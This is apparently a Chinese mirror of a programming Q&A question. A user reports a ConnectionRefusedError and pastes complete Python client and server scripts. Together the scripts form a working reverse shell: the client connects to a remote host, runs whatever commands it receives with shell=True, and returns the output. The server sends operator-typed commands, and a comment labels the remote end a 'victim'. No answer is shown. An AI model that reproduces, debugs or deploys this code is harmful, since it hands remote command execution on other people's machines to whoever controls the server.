首页 > 解决方案 > ConnectionRefusedError:[WinError 10061]

问题描述

制作套接字后,我正在使用下面的代码连接到其他系统。当我在我的系统上本地运行时,它工作正常,但在其他系统上它给出一个错误 ConnectionRefusedError: [WinError 10061], Python

我试图添加s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)而不是s = socket.socket()

但它给了我同样的错误。

这是我为客户使用的

import socket
import os
import subprocess

# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s = socket.socket()
host = '***.***.***.***'
port = 9999

s.connect((host, port))

while True:
    data = s.recv(1024)
    if data[:2].decode("utf-8") == 'cd':
        os.chdir(data[3:].decode("utf-8"))

    if len(data) > 0:
        cmd = subprocess.Popen(data[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
        output_byte = cmd.stdout.read() + cmd.stderr.read()
        output_str = str(output_byte,"utf-8")
        currentWD = os.getcwd() + "> "
        s.send(str.encode(output_str + currentWD))

        print(output_str)

这是我用于服务器的:

import socket
import sys


# Create a Socket ( connect two computers)
def create_socket():
    try:
        global host
        global port
        global s
        host = ""
        port = 9999
        # s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s = socket.socket()

    except socket.error as msg:
        print("Socket creation error: " + str(msg))


# Binding the socket and listening for connections
def bind_socket():
    try:
        global host
        global port
        global s
        print("Binding the Port: " + str(port))

        s.bind((host, port))
        s.listen(5)

    except socket.error as msg:
        print("Socket Binding error" + str(msg) + "\n" + "Retrying...")
        bind_socket()


# Establish connection with a client (socket must be listening)

def socket_accept():
    conn, address = s.accept()
    print("Connection has been established! |" + " IP " + address[0] + " | Port " + str(address[1]))
    send_commands(conn)
    conn.close()

# Send commands to client/victim or a friend
def send_commands(conn):
    while True:
        cmd = input()
        if cmd == 'quit':
            conn.close()
            s.close()
            sys.exit()
        if len(str.encode(cmd)) > 0:
            conn.send(str.encode(cmd))
            client_response = str(conn.recv(1024),"utf-8")
            print(client_response, end="")


def main():
    create_socket()
    bind_socket()
    socket_accept()


main()

标签: pythonsocketssshserverclient

解决方案


推荐阅读